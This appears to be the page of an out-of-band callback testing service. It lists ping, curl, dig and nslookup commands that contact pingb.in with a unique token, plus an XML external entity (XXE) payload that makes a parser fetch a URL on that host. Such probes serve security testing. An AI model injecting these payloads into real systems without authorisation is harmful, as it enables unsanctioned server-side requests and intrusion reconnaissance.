$ ping -c1 -p 0071ee1ddc0e1a7e35c5d5c8de0de400 pingb.in
 
$ curl pingb.in/p/71ee1ddc0e1a7e35c5d5c8de0de4
 
$ dig 71ee1ddc0e1a7e35c5d5c8de0de4 @pingb.in
 
$ dig 71ee1ddc0e1a7e35c5d5c8de0de4.ns.pingb.in
 
C:\> nslookup 71ee1ddc0e1a7e35c5d5c8de0de4 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/71ee1ddc0e1a7e35c5d5c8de0de4">]>
    <foo>&xxe;</foo>
Waiting for ping...